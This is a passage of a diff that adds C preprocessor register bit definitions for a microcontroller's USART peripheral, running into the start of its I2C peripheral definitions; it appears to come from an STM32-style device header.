USART_CR2_ADD_Pos (24U) +#define USART_CR2_ADD_Msk (0xFFUL << USART_CR2_ADD_Pos) /*!< 0xFF000000 */ +#define USART_CR2_ADD USART_CR2_ADD_Msk /*!< Address of the USART node */ + +/****************** Bit definition for USART_CR3 register *******************/ +#define USART_CR3_EIE_Pos (0U) +#define USART_CR3_EIE_Msk (0x1UL << USART_CR3_EIE_Pos) /*!< 0x00000001 */ +#define USART_CR3_EIE USART_CR3_EIE_Msk /*!< Error Interrupt Enable */ +#define USART_CR3_IREN_Pos (1U) +#define USART_CR3_IREN_Msk (0x1UL << USART_CR3_IREN_Pos) /*!< 0x00000002 */ +#define USART_CR3_IREN USART_CR3_IREN_Msk /*!< IrDA mode Enable */ +#define USART_CR3_IRLP_Pos (2U) +#define USART_CR3_IRLP_Msk (0x1UL << USART_CR3_IRLP_Pos) /*!< 0x00000004 */ +#define USART_CR3_IRLP USART_CR3_IRLP_Msk /*!< IrDA Low-Power */ +#define USART_CR3_HDSEL_Pos (3U) +#define USART_CR3_HDSEL_Msk (0x1UL << USART_CR3_HDSEL_Pos) /*!< 0x00000008 */ +#define USART_CR3_HDSEL USART_CR3_HDSEL_Msk /*!< Half-Duplex Selection */ +#define USART_CR3_NACK_Pos (4U) +#define USART_CR3_NACK_Msk (0x1UL << USART_CR3_NACK_Pos) /*!< 0x00000010 */ +#define USART_CR3_NACK USART_CR3_NACK_Msk /*!< SmartCard NACK enable */ +#define USART_CR3_SCEN_Pos (5U) +#define USART_CR3_SCEN_Msk (0x1UL << USART_CR3_SCEN_Pos) /*!< 0x00000020 */ +#define USART_CR3_SCEN USART_CR3_SCEN_Msk /*!< SmartCard mode enable */ +#define USART_CR3_DMAR_Pos (6U) +#define USART_CR3_DMAR_Msk (0x1UL << USART_CR3_DMAR_Pos) /*!< 0x00000040 */ +#define USART_CR3_DMAR USART_CR3_DMAR_Msk /*!< DMA Enable Receiver */ +#define USART_CR3_DMAT_Pos (7U) +#define USART_CR3_DMAT_Msk (0x1UL << USART_CR3_DMAT_Pos) /*!< 0x00000080 */ +#define USART_CR3_DMAT USART_CR3_DMAT_Msk /*!< DMA Enable Transmitter */ +#define USART_CR3_RTSE_Pos (8U) +#define USART_CR3_RTSE_Msk (0x1UL << USART_CR3_RTSE_Pos) /*!< 0x00000100 */ +#define USART_CR3_RTSE USART_CR3_RTSE_Msk /*!< RTS Enable */ +#define USART_CR3_CTSE_Pos (9U) +#define USART_CR3_CTSE_Msk (0x1UL << USART_CR3_CTSE_Pos) /*!< 0x00000200 */ +#define USART_CR3_CTSE USART_CR3_CTSE_Msk /*!< CTS Enable */ +#define USART_CR3_CTSIE_Pos (10U) +#define USART_CR3_CTSIE_Msk (0x1UL << USART_CR3_CTSIE_Pos) /*!< 0x00000400 */ +#define USART_CR3_CTSIE USART_CR3_CTSIE_Msk /*!< CTS Interrupt Enable */ +#define USART_CR3_ONEBIT_Pos (11U) +#define USART_CR3_ONEBIT_Msk (0x1UL << USART_CR3_ONEBIT_Pos) /*!< 0x00000800 */ +#define USART_CR3_ONEBIT USART_CR3_ONEBIT_Msk /*!< One sample bit method enable */ +#define USART_CR3_OVRDIS_Pos (12U) +#define USART_CR3_OVRDIS_Msk (0x1UL << USART_CR3_OVRDIS_Pos) /*!< 0x00001000 */ +#define USART_CR3_OVRDIS USART_CR3_OVRDIS_Msk /*!< Overrun Disable */ +#define USART_CR3_DDRE_Pos (13U) +#define USART_CR3_DDRE_Msk (0x1UL << USART_CR3_DDRE_Pos) /*!< 0x00002000 */ +#define USART_CR3_DDRE USART_CR3_DDRE_Msk /*!< DMA Disable on Reception Error */ +#define USART_CR3_DEM_Pos (14U) +#define USART_CR3_DEM_Msk (0x1UL << USART_CR3_DEM_Pos) /*!< 0x00004000 */ +#define USART_CR3_DEM USART_CR3_DEM_Msk /*!< Driver Enable Mode */ +#define USART_CR3_DEP_Pos (15U) +#define USART_CR3_DEP_Msk (0x1UL << USART_CR3_DEP_Pos) /*!< 0x00008000 */ +#define USART_CR3_DEP USART_CR3_DEP_Msk /*!< Driver Enable Polarity Selection */ +#define USART_CR3_SCARCNT_Pos (17U) +#define USART_CR3_SCARCNT_Msk (0x7UL << USART_CR3_SCARCNT_Pos) /*!< 0x000E0000 */ +#define USART_CR3_SCARCNT USART_CR3_SCARCNT_Msk /*!< SCARCNT[2:0] bits (SmartCard Auto-Retry Count) */ +#define USART_CR3_SCARCNT_0 (0x1UL << USART_CR3_SCARCNT_Pos) /*!< 0x00020000 */ +#define USART_CR3_SCARCNT_1 (0x2UL << USART_CR3_SCARCNT_Pos) /*!< 0x00040000 */ +#define USART_CR3_SCARCNT_2 (0x4UL << USART_CR3_SCARCNT_Pos) /*!< 0x00080000 */ +#define USART_CR3_WUS_Pos (20U) +#define USART_CR3_WUS_Msk (0x3UL << USART_CR3_WUS_Pos) /*!< 0x00300000 */ +#define USART_CR3_WUS USART_CR3_WUS_Msk /*!< WUS[1:0] bits (Wake UP Interrupt Flag Selection) */ +#define USART_CR3_WUS_0 (0x1UL << USART_CR3_WUS_Pos) /*!< 0x00100000 */ +#define USART_CR3_WUS_1 (0x2UL << USART_CR3_WUS_Pos) /*!< 0x00200000 */ +#define USART_CR3_WUFIE_Pos (22U) +#define USART_CR3_WUFIE_Msk (0x1UL << USART_CR3_WUFIE_Pos) /*!< 0x00400000 */ +#define USART_CR3_WUFIE USART_CR3_WUFIE_Msk /*!< Wake Up Interrupt Enable */ +#define USART_CR3_TXFTIE_Pos (23U) +#define USART_CR3_TXFTIE_Msk (0x1UL << USART_CR3_TXFTIE_Pos) /*!< 0x00800000 */ +#define USART_CR3_TXFTIE USART_CR3_TXFTIE_Msk /*!< TXFIFO threshold interrupt enable */ +#define USART_CR3_TCBGTIE_Pos (24U) +#define USART_CR3_TCBGTIE_Msk (0x1UL << USART_CR3_TCBGTIE_Pos) /*!< 0x01000000 */ +#define USART_CR3_TCBGTIE USART_CR3_TCBGTIE_Msk /*!< Transmission Complete Before Guard Time Interrupt Enable */ +#define USART_CR3_RXFTCFG_Pos (25U) +#define USART_CR3_RXFTCFG_Msk (0x7UL << USART_CR3_RXFTCFG_Pos) /*!< 0x0E000000 */ +#define USART_CR3_RXFTCFG USART_CR3_RXFTCFG_Msk /*!< RXFIFO FIFO threshold configuration */ +#define USART_CR3_RXFTCFG_0 (0x1UL << USART_CR3_RXFTCFG_Pos) /*!< 0x02000000 */ +#define USART_CR3_RXFTCFG_1 (0x2UL << USART_CR3_RXFTCFG_Pos) /*!< 0x04000000 */ +#define USART_CR3_RXFTCFG_2 (0x4UL << USART_CR3_RXFTCFG_Pos) /*!< 0x08000000 */ +#define USART_CR3_RXFTIE_Pos (28U) +#define USART_CR3_RXFTIE_Msk (0x1UL << USART_CR3_RXFTIE_Pos) /*!< 0x10000000 */ +#define USART_CR3_RXFTIE USART_CR3_RXFTIE_Msk /*!< RXFIFO threshold interrupt enable */ +#define USART_CR3_TXFTCFG_Pos (29U) +#define USART_CR3_TXFTCFG_Msk (0x7UL << USART_CR3_TXFTCFG_Pos) /*!< 0xE0000000 */ +#define USART_CR3_TXFTCFG USART_CR3_TXFTCFG_Msk /*!< TXFIFO threshold configuration */ +#define USART_CR3_TXFTCFG_0 (0x1UL << USART_CR3_TXFTCFG_Pos) /*!< 0x20000000 */ +#define USART_CR3_TXFTCFG_1 (0x2UL << USART_CR3_TXFTCFG_Pos) /*!< 0x40000000 */ +#define USART_CR3_TXFTCFG_2 (0x4UL << USART_CR3_TXFTCFG_Pos) /*!< 0x80000000 */ + +/****************** Bit definition for USART_BRR register *******************/ +#define USART_BRR_LPUART_Pos (0U) +#define USART_BRR_LPUART_Msk (0xFFFFFUL << USART_BRR_LPUART_Pos) /*!< 0x000FFFFF */ +#define USART_BRR_LPUART USART_BRR_LPUART_Msk /*!< LPUART Baud rate register [19:0] */ +#define USART_BRR_BRR ((uint16_t)0xFFFF) /*!< USART Baud rate register [15:0] */ + +/****************** Bit definition for USART_GTPR register ******************/ +#define USART_GTPR_PSC_Pos (0U) +#define USART_GTPR_PSC_Msk (0xFFUL << USART_GTPR_PSC_Pos) /*!< 0x000000FF */ +#define USART_GTPR_PSC USART_GTPR_PSC_Msk /*!< PSC[7:0] bits (Prescaler value) */ +#define USART_GTPR_GT_Pos (8U) +#define USART_GTPR_GT_Msk (0xFFUL << USART_GTPR_GT_Pos) /*!< 0x0000FF00 */ +#define USART_GTPR_GT USART_GTPR_GT_Msk /*!< GT[7:0] bits (Guard time value) */ + +/******************* Bit definition for USART_RTOR register *****************/ +#define USART_RTOR_RTO_Pos (0U) +#define USART_RTOR_RTO_Msk (0xFFFFFFUL << USART_RTOR_RTO_Pos) /*!< 0x00FFFFFF */ +#define USART_RTOR_RTO USART_RTOR_RTO_Msk /*!< Receiver Time Out Value */ +#define USART_RTOR_BLEN_Pos (24U) +#define USART_RTOR_BLEN_Msk (0xFFUL << USART_RTOR_BLEN_Pos) /*!< 0xFF000000 */ +#define USART_RTOR_BLEN USART_RTOR_BLEN_Msk /*!< Block Length */ + +/******************* Bit definition for USART_RQR register ******************/ +#define USART_RQR_ABRRQ ((uint16_t)0x0001) /*!< Auto-Baud Rate Request */ +#define USART_RQR_SBKRQ ((uint16_t)0x0002) /*!< Send Break Request */ +#define USART_RQR_MMRQ ((uint16_t)0x0004) /*!< Mute Mode Request */ +#define USART_RQR_RXFRQ ((uint16_t)0x0008) /*!< Receive Data flush Request */ +#define USART_RQR_TXFRQ ((uint16_t)0x0010) /*!< Transmit data flush Request */ + +/******************* Bit definition for USART_ISR register ******************/ +#define USART_ISR_PE_Pos (0U) +#define USART_ISR_PE_Msk (0x1UL << USART_ISR_PE_Pos) /*!< 0x00000001 */ +#define USART_ISR_PE USART_ISR_PE_Msk /*!< Parity Error */ +#define USART_ISR_FE_Pos (1U) +#define USART_ISR_FE_Msk (0x1UL << USART_ISR_FE_Pos) /*!< 0x00000002 */ +#define USART_ISR_FE USART_ISR_FE_Msk /*!< Framing Error */ +#define USART_ISR_NE_Pos (2U) +#define USART_ISR_NE_Msk (0x1UL << USART_ISR_NE_Pos) /*!< 0x00000004 */ +#define USART_ISR_NE USART_ISR_NE_Msk /*!< Noise detected Flag */ +#define USART_ISR_ORE_Pos (3U) +#define USART_ISR_ORE_Msk (0x1UL << USART_ISR_ORE_Pos) /*!< 0x00000008 */ +#define USART_ISR_ORE USART_ISR_ORE_Msk /*!< OverRun Error */ +#define USART_ISR_IDLE_Pos (4U) +#define USART_ISR_IDLE_Msk (0x1UL << USART_ISR_IDLE_Pos) /*!< 0x00000010 */ +#define USART_ISR_IDLE USART_ISR_IDLE_Msk /*!< IDLE line detected */ +#define USART_ISR_RXNE_Pos (5U) +#define USART_ISR_RXNE_Msk (0x1UL << USART_ISR_RXNE_Pos) /*!< 0x00000020 */ +#define USART_ISR_RXNE USART_ISR_RXNE_Msk /*!< Read Data Register Not Empty */ +#define USART_ISR_RXNE_RXFNE_Pos USART_ISR_RXNE_Pos +#define USART_ISR_RXNE_RXFNE_Msk USART_ISR_RXNE_Msk /*!< 0x00000020 */ +#define USART_ISR_RXNE_RXFNE USART_ISR_RXNE_Msk /*!< Read Data Register or RX FIFO Not Empty */ +#define USART_ISR_TC_Pos (6U) +#define USART_ISR_TC_Msk (0x1UL << USART_ISR_TC_Pos) /*!< 0x00000040 */ +#define USART_ISR_TC USART_ISR_TC_Msk /*!< Transmission Complete */ +#define USART_ISR_TXE_Pos (7U) +#define USART_ISR_TXE_Msk (0x1UL << USART_ISR_TXE_Pos) /*!< 0x00000080 */ +#define USART_ISR_TXE USART_ISR_TXE_Msk /*!< Transmit Data Register Empty */ +#define USART_ISR_TXE_TXFNF_Pos USART_ISR_TXE_Pos +#define USART_ISR_TXE_TXFNF_Msk USART_ISR_TXE_Msk /*!< 0x00000080 */ +#define USART_ISR_TXE_TXFNF USART_ISR_TXE_Msk /*!< Transmit Data Register Empty or TX FIFO Not Full Flag */ +#define USART_ISR_LBDF_Pos (8U) +#define USART_ISR_LBDF_Msk (0x1UL << USART_ISR_LBDF_Pos) /*!< 0x00000100 */ +#define USART_ISR_LBDF USART_ISR_LBDF_Msk /*!< LIN Break Detection Flag */ +#define USART_ISR_CTSIF_Pos (9U) +#define USART_ISR_CTSIF_Msk (0x1UL << USART_ISR_CTSIF_Pos) /*!< 0x00000200 */ +#define USART_ISR_CTSIF USART_ISR_CTSIF_Msk /*!< CTS interrupt flag */ +#define USART_ISR_CTS_Pos (10U) +#define USART_ISR_CTS_Msk (0x1UL << USART_ISR_CTS_Pos) /*!< 0x00000400 */ +#define USART_ISR_CTS USART_ISR_CTS_Msk /*!< CTS flag */ +#define USART_ISR_RTOF_Pos (11U) +#define USART_ISR_RTOF_Msk (0x1UL << USART_ISR_RTOF_Pos) /*!< 0x00000800 */ +#define USART_ISR_RTOF USART_ISR_RTOF_Msk /*!< Receiver Time Out */ +#define USART_ISR_EOBF_Pos (12U) +#define USART_ISR_EOBF_Msk (0x1UL << USART_ISR_EOBF_Pos) /*!< 0x00001000 */ +#define USART_ISR_EOBF USART_ISR_EOBF_Msk /*!< End Of Block Flag */ +#define USART_ISR_UDR_Pos (13U) +#define USART_ISR_UDR_Msk (0x1UL << USART_ISR_UDR_Pos) /*!< 0x00002000 */ +#define USART_ISR_UDR USART_ISR_UDR_Msk /*!< SPI slave underrun error flag */ +#define USART_ISR_ABRE_Pos (14U) +#define USART_ISR_ABRE_Msk (0x1UL << USART_ISR_ABRE_Pos) /*!< 0x00004000 */ +#define USART_ISR_ABRE USART_ISR_ABRE_Msk /*!< Auto-Baud Rate Error */ +#define USART_ISR_ABRF_Pos (15U) +#define USART_ISR_ABRF_Msk (0x1UL << USART_ISR_ABRF_Pos) /*!< 0x00008000 */ +#define USART_ISR_ABRF USART_ISR_ABRF_Msk /*!< Auto-Baud Rate Flag */ +#define USART_ISR_BUSY_Pos (16U) +#define USART_ISR_BUSY_Msk (0x1UL << USART_ISR_BUSY_Pos) /*!< 0x00010000 */ +#define USART_ISR_BUSY USART_ISR_BUSY_Msk /*!< Busy Flag */ +#define USART_ISR_CMF_Pos (17U) +#define USART_ISR_CMF_Msk (0x1UL << USART_ISR_CMF_Pos) /*!< 0x00020000 */ +#define USART_ISR_CMF USART_ISR_CMF_Msk /*!< Character Match Flag */ +#define USART_ISR_SBKF_Pos (18U) +#define USART_ISR_SBKF_Msk (0x1UL << USART_ISR_SBKF_Pos) /*!< 0x00040000 */ +#define USART_ISR_SBKF USART_ISR_SBKF_Msk /*!< Send Break Flag */ +#define USART_ISR_RWU_Pos (19U) +#define USART_ISR_RWU_Msk (0x1UL << USART_ISR_RWU_Pos) /*!< 0x00080000 */ +#define USART_ISR_RWU USART_ISR_RWU_Msk /*!< Receive Wake Up from mute mode Flag */ +#define USART_ISR_WUF_Pos (20U) +#define USART_ISR_WUF_Msk (0x1UL << USART_ISR_WUF_Pos) /*!< 0x00100000 */ +#define USART_ISR_WUF USART_ISR_WUF_Msk /*!< Wake Up from low power mode Flag */ +#define USART_ISR_TEACK_Pos (21U) +#define USART_ISR_TEACK_Msk (0x1UL << USART_ISR_TEACK_Pos) /*!< 0x00200000 */ +#define USART_ISR_TEACK USART_ISR_TEACK_Msk /*!< Transmit Enable Acknowledge Flag */ +#define USART_ISR_REACK_Pos (22U) +#define USART_ISR_REACK_Msk (0x1UL << USART_ISR_REACK_Pos) /*!< 0x00400000 */ +#define USART_ISR_REACK USART_ISR_REACK_Msk /*!< Receive Enable Acknowledge Flag */ +#define USART_ISR_TXFE_Pos (23U) +#define USART_ISR_TXFE_Msk (0x1UL << USART_ISR_TXFE_Pos) /*!< 0x00800000 */ +#define USART_ISR_TXFE USART_ISR_TXFE_Msk /*!< TXFIFO Empty */ +#define USART_ISR_RXFF_Pos (24U) +#define USART_ISR_RXFF_Msk (0x1UL << USART_ISR_RXFF_Pos) /*!< 0x01000000 */ +#define USART_ISR_RXFF USART_ISR_RXFF_Msk /*!< RXFIFO Full */ +#define USART_ISR_TCBGT_Pos (25U) +#define USART_ISR_TCBGT_Msk (0x1UL << USART_ISR_TCBGT_Pos) /*!< 0x02000000 */ +#define USART_ISR_TCBGT USART_ISR_TCBGT_Msk /*!< Transmission Complete Before Guard Time completion */ +#define USART_ISR_RXFT_Pos (26U) +#define USART_ISR_RXFT_Msk (0x1UL << USART_ISR_RXFT_Pos) /*!< 0x04000000 */ +#define USART_ISR_RXFT USART_ISR_RXFT_Msk /*!< RXFIFO threshold flag */ +#define USART_ISR_TXFT_Pos (27U) +#define USART_ISR_TXFT_Msk (0x1UL << USART_ISR_TXFT_Pos) /*!< 0x08000000 */ +#define USART_ISR_TXFT USART_ISR_TXFT_Msk /*!< TXFIFO threshold flag */ + +/******************* Bit definition for USART_ICR register ******************/ +#define USART_ICR_PECF_Pos (0U) +#define USART_ICR_PECF_Msk (0x1UL << USART_ICR_PECF_Pos) /*!< 0x00000001 */ +#define USART_ICR_PECF USART_ICR_PECF_Msk /*!< Parity Error Clear Flag */ +#define USART_ICR_FECF_Pos (1U) +#define USART_ICR_FECF_Msk (0x1UL << USART_ICR_FECF_Pos) /*!< 0x00000002 */ +#define USART_ICR_FECF USART_ICR_FECF_Msk /*!< Framing Error Clear Flag */ +#define USART_ICR_NECF_Pos (2U) +#define USART_ICR_NECF_Msk (0x1UL << USART_ICR_NECF_Pos) /*!< 0x00000004 */ +#define USART_ICR_NECF USART_ICR_NECF_Msk /*!< Noise detected Clear Flag */ +#define USART_ICR_ORECF_Pos (3U) +#define USART_ICR_ORECF_Msk (0x1UL << USART_ICR_ORECF_Pos) /*!< 0x00000008 */ +#define USART_ICR_ORECF USART_ICR_ORECF_Msk /*!< OverRun Error Clear Flag */ +#define USART_ICR_IDLECF_Pos (4U) +#define USART_ICR_IDLECF_Msk (0x1UL << USART_ICR_IDLECF_Pos) /*!< 0x00000010 */ +#define USART_ICR_IDLECF USART_ICR_IDLECF_Msk /*!< IDLE line detected Clear Flag */ +#define USART_ICR_TXFECF_Pos (5U) +#define USART_ICR_TXFECF_Msk (0x1UL << USART_ICR_TXFECF_Pos) /*!< 0x00000020 */ +#define USART_ICR_TXFECF USART_ICR_TXFECF_Msk /*!< TXFIFO empty Clear flag */ +#define USART_ICR_TCCF_Pos (6U) +#define USART_ICR_TCCF_Msk (0x1UL << USART_ICR_TCCF_Pos) /*!< 0x00000040 */ +#define USART_ICR_TCCF USART_ICR_TCCF_Msk /*!< Transmission Complete Clear Flag */ +#define USART_ICR_TCBGTCF_Pos (7U) +#define USART_ICR_TCBGTCF_Msk (0x1UL << USART_ICR_TCBGTCF_Pos) /*!< 0x00000080 */ +#define USART_ICR_TCBGTCF USART_ICR_TCBGTCF_Msk /*!< Transmission Complete Before Guard Time Clear Flag */ +#define USART_ICR_LBDCF_Pos (8U) +#define USART_ICR_LBDCF_Msk (0x1UL << USART_ICR_LBDCF_Pos) /*!< 0x00000100 */ +#define USART_ICR_LBDCF USART_ICR_LBDCF_Msk /*!< LIN Break Detection Clear Flag */ +#define USART_ICR_CTSCF_Pos (9U) +#define USART_ICR_CTSCF_Msk (0x1UL << USART_ICR_CTSCF_Pos) /*!< 0x00000200 */ +#define USART_ICR_CTSCF USART_ICR_CTSCF_Msk /*!< CTS Interrupt Clear Flag */ +#define USART_ICR_RTOCF_Pos (11U) +#define USART_ICR_RTOCF_Msk (0x1UL << USART_ICR_RTOCF_Pos) /*!< 0x00000800 */ +#define USART_ICR_RTOCF USART_ICR_RTOCF_Msk /*!< Receiver Time Out Clear Flag */ +#define USART_ICR_EOBCF_Pos (12U) +#define USART_ICR_EOBCF_Msk (0x1UL << USART_ICR_EOBCF_Pos) /*!< 0x00001000 */ +#define USART_ICR_EOBCF USART_ICR_EOBCF_Msk /*!< End Of Block Clear Flag */ +#define USART_ICR_UDRCF_Pos (13U) +#define USART_ICR_UDRCF_Msk (0x1UL << USART_ICR_UDRCF_Pos) /*!< 0x00002000 */ +#define USART_ICR_UDRCF USART_ICR_UDRCF_Msk /*!< SPI Slave Underrun Clear Flag */ +#define USART_ICR_CMCF_Pos (17U) +#define USART_ICR_CMCF_Msk (0x1UL << USART_ICR_CMCF_Pos) /*!< 0x00020000 */ +#define USART_ICR_CMCF USART_ICR_CMCF_Msk /*!< Character Match Clear Flag */ +#define USART_ICR_WUCF_Pos (20U) +#define USART_ICR_WUCF_Msk (0x1UL << USART_ICR_WUCF_Pos) /*!< 0x00100000 */ +#define USART_ICR_WUCF USART_ICR_WUCF_Msk /*!< Wake Up from stop mode Clear Flag */ + +/******************* Bit definition for USART_RDR register ******************/ +#define USART_RDR_RDR ((uint16_t)0x01FF) /*!< RDR[8:0] bits (Receive Data value) */ + +/******************* Bit definition for USART_TDR register ******************/ +#define USART_TDR_TDR ((uint16_t)0x01FF) /*!< TDR[8:0] bits (Transmit Data value) */ + +/******************* Bit definition for USART_PRESC register ****************/ +#define USART_PRESC_PRESCALER_Pos (0U) +#define USART_PRESC_PRESCALER_Msk (0xFUL << USART_PRESC_PRESCALER_Pos) /*!< 0x0000000F */ +#define USART_PRESC_PRESCALER USART_PRESC_PRESCALER_Msk /*!< PRESCALER[3:0] bits (Clock prescaler) */ +#define USART_PRESC_PRESCALER_0 (0x1UL << USART_PRESC_PRESCALER_Pos) /*!< 0x00000001 */ +#define USART_PRESC_PRESCALER_1 (0x2UL << USART_PRESC_PRESCALER_Pos) /*!< 0x00000002 */ +#define USART_PRESC_PRESCALER_2 (0x4UL << USART_PRESC_PRESCALER_Pos) /*!< 0x00000004 */ +#define USART_PRESC_PRESCALER_3 (0x8UL << USART_PRESC_PRESCALER_Pos) /*!< 0x00000008 */ + +/******************* Bit definition for USART_HWCFGR2 register **************/ +#define USART_HWCFGR2_CFG1_Pos (0U) +#define USART_HWCFGR2_CFG1_Msk (0xFUL << USART_HWCFGR2_CFG1_Pos) /*!< 0x0000000F */ +#define USART_HWCFGR2_CFG1 USART_HWCFGR2_CFG1_Msk /*!< CFG1[3:0] bits (USART hardware configuration 1) */ +#define USART_HWCFGR2_CFG2_Pos (4U) +#define USART_HWCFGR2_CFG2_Msk (0xFUL << USART_HWCFGR2_CFG2_Pos) /*!< 0x000000F0 */ +#define USART_HWCFGR2_CFG2 USART_HWCFGR2_CFG2_Msk /*!< CFG2[7:4] bits (USART hardware configuration 2) */ + +/******************* Bit definition for USART_HWCFGR1 register **************/ +#define USART_HWCFGR1_CFG1_Pos (0U) +#define USART_HWCFGR1_CFG1_Msk (0xFUL << USART_HWCFGR1_CFG1_Pos) /*!< 0x0000000F */ +#define USART_HWCFGR1_CFG1 USART_HWCFGR1_CFG1_Msk /*!< CFG1[3:0] bits (USART hardware configuration 1) */ +#define USART_HWCFGR1_CFG2_Pos (4U) +#define USART_HWCFGR1_CFG2_Msk (0xFUL << USART_HWCFGR1_CFG2_Pos) /*!< 0x000000F0 */ +#define USART_HWCFGR1_CFG2 USART_HWCFGR1_CFG2_Msk /*!< CFG2[7:4] bits (USART hardware configuration 2) */ +#define USART_HWCFGR1_CFG3_Pos (8U) +#define USART_HWCFGR1_CFG3_Msk (0xFUL << USART_HWCFGR1_CFG3_Pos) /*!< 0x00000F00 */ +#define USART_HWCFGR1_CFG3 USART_HWCFGR1_CFG3_Msk /*!< CFG3[11:8] bits (USART hardware configuration 3) */ +#define USART_HWCFGR1_CFG4_Pos (12U) +#define USART_HWCFGR1_CFG4_Msk (0xFUL << USART_HWCFGR1_CFG4_Pos) /*!< 0x0000F000 */ +#define USART_HWCFGR1_CFG4 USART_HWCFGR1_CFG4_Msk /*!< CFG4[15:12] bits (USART hardware configuration 4) */ +#define USART_HWCFGR1_CFG5_Pos (16U) +#define USART_HWCFGR1_CFG5_Msk (0xFUL << USART_HWCFGR1_CFG5_Pos) /*!< 0x000F0000 */ +#define USART_HWCFGR1_CFG5 USART_HWCFGR1_CFG5_Msk /*!< CFG5[19:16] bits (USART hardware configuration 5) */ +#define USART_HWCFGR1_CFG6_Pos (20U) +#define USART_HWCFGR1_CFG6_Msk (0xFUL << USART_HWCFGR1_CFG6_Pos) /*!< 0x00F00000 */ +#define USART_HWCFGR1_CFG6 USART_HWCFGR1_CFG6_Msk /*!< CFG6[23:20] bits (USART hardware configuration 6) */ +#define USART_HWCFGR1_CFG7_Pos (24U) +#define USART_HWCFGR1_CFG7_Msk (0xFUL << USART_HWCFGR1_CFG7_Pos) /*!< 0x0F000000 */ +#define USART_HWCFGR1_CFG7 USART_HWCFGR1_CFG7_Msk /*!< CFG7[27:24] bits (USART hardware configuration 7) */ +#define USART_HWCFGR1_CFG8_Pos (28U) +#define USART_HWCFGR1_CFG8_Msk (0xFUL << USART_HWCFGR1_CFG8_Pos) /*!< 0xF0000000 */ +#define USART_HWCFGR1_CFG8 USART_HWCFGR1_CFG8_Msk /*!< CFG8[31:28] bits (USART hardware configuration 8) */ + +/******************* Bit definition for USART_VERR register *****************/ +#define USART_VERR_MINREV_Pos (0U) +#define USART_VERR_MINREV_Msk (0xFUL << USART_VERR_MINREV_Pos) /*!< 0x0000000F */ +#define USART_VERR_MINREV USART_VERR_MINREV_Msk /*!< MAJREV[3:0] bits (Minor revision) */ +#define USART_VERR_MAJREV_Pos (4U) +#define USART_VERR_MAJREV_Msk (0xFUL << USART_VERR_MAJREV_Pos) /*!< 0x000000F0 */ +#define USART_VERR_MAJREV USART_VERR_MAJREV_Msk /*!< MINREV[3:0] bits (Major revision) */ + +/******************* Bit definition for USART_IPIDR register ****************/ +#define USART_IPIDR_ID_Pos (0U) +#define USART_IPIDR_ID_Msk (0xFFFFFFFFUL << USART_IPIDR_ID_Pos) /*!< 0xFFFFFFFF */ +#define USART_IPIDR_ID USART_IPIDR_ID_Msk /*!< ID[31:0] bits (Peripheral identifier) */ + +/******************* Bit definition for USART_SIDR register ****************/ +#define USART_SIDR_ID_Pos (0U) +#define USART_SIDR_ID_Msk (0xFFFFFFFFUL << USART_SIDR_ID_Pos) /*!< 0xFFFFFFFF */ +#define USART_SIDR_ID USART_SIDR_ID_Msk /*!< SID[31:0] bits (Size identification) */ + + +/******************************************************************************/ +/* */ +/* Inter-integrated Circuit Interface (I2C) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for I2C_CR1 register *******************/ +#define I2C_CR1_PE_Pos (0U) +#define I2C_CR1_PE_Msk (0x1UL << I2C_CR1_PE_Pos) /*!< 0x00000001 */ +#define I2C_CR1_PE I2C_CR1_PE_Msk /*!< Peripheral enable */ +#define I2C_CR1_TXIE_Pos (1U) +#define I2C_CR1_TXIE_Msk (0x1UL << I2C_CR1_TXIE_Pos) /*!< 0x00000002 */ +#define I2C_CR1_TXIE I2C_CR1_TXIE_Msk /*!< TX interrupt enable */ +#define I2C_CR1_RXIE_Pos (2U) +#define I2C_CR1_RXIE_Msk (0x1UL << I2C_CR1_RXIE_Pos) /*!< 0x00000004 */ +#define I2C_CR1_RXIE I2C_CR1_RXIE_Msk /*!< RX interrupt enable */ +#define I2C_CR1_ADDRIE_Pos (3U) +#define I2C_CR1_ADDRIE_Msk (0x1UL << I2C_CR1_ADDRIE_Pos) /*!< 0x00000008 */ +#define I2C_CR1_ADDRIE I2C_CR1_ADDRIE_Msk /*!< Address match interrupt enable */ +#define I2C_CR1_NACKIE_Pos (4U) +#define I2C_CR1_NACKIE_Msk (0x1UL << I2C_CR1_NACKIE_Pos) /*!< 0x00000010 */ +#define I2C_CR1_NACKIE I2C_CR1_NACKIE_Msk /*!< NACK received interrupt enable */ +#define I2C_CR1_STOPIE_Pos (5U) +#define I2C_CR1_STOPIE_Msk (0x1UL << I2C_CR1_STOPIE_Pos) /*!< 0x00000020 */ +#define I2C_CR1_STOPIE I2C_CR1_STOPIE_Msk /*!< STOP detection interrupt enable */ +#define I2C_CR1_TCIE_Pos (6U) +#define I2C_CR1_TCIE_Msk (0x1UL << I2C_CR1_TCIE_Pos) /*!< 0x00000040 */ +#define I2C_CR1_TCIE I2C_CR1_TCIE_Msk /*!< Transfer complete interrupt enable */ +#define I2C_CR1_ERRIE_Pos (7U) +#define I2C_CR1_ERRIE_Msk (0x1UL << I2C_CR1_ERRIE_Pos) /*!< 0x00000080 */ +#define I2C_CR1_ERRIE I2C_CR1_ERRIE_Msk /*!< Errors interrupt enable */ +#define I2C_CR1_DNF_Pos (8U) +#define I2C_CR1_DNF_Msk (0xFUL << I2C_CR1_DNF_Pos) /*!< 0x00000F00 */ +#define I2C_CR1_DNF I2C_CR1_DNF_Msk /*!< Digital noise filter */ +#define I2C_CR1_ANFOFF_Pos (12U) +#define I2C_CR1_ANFOFF_Msk (0x1UL << I2C_CR1_ANFOFF_Pos) /*!< 0x00001000 */ +#define I2C_CR1_ANFOFF I2C_CR1_ANFOFF_Msk /*!< Analog noise filter OFF */ +#define I2C_CR1_SWRST_Pos (13U) +#define I2C_CR1_SWRST_Msk (0x1UL << I2C_CR1_SWRST_Pos) /*!< 0x00002000 */ +#define I2C_CR1_SWRST I2C_CR1_SWRST_Msk /*!< Software reset */ +#define I2C_CR1_TXDMAEN_Pos (14U) +#define I2C_CR1_TXDMAEN_Msk (0x1UL << I2C_CR1_TXDMAEN_Pos) /*!< 0x00004000 */ +#define I2C_CR1_TXDMAEN I2C_CR1_TXDMAEN_Msk /*!< DMA transmission requests enable */ +#define I2C_CR1_RXDMAEN_Pos (15U) +#define I2C_CR1_RXDMAEN_Msk (0x1UL << I2C_CR1_RXDMAEN_Pos) /*!< 0x00008000 */ +#define I2C_CR1_RXDMAEN I2C_CR1_RXDMAEN_Msk /*!< DMA reception requests enable */ +#define I2C_CR1_SBC_Pos (16U) +#define I2C_CR1_SBC_Msk (0x1UL << I2C_CR1_SBC_Pos) /*!< 0x00010000 */ +#define 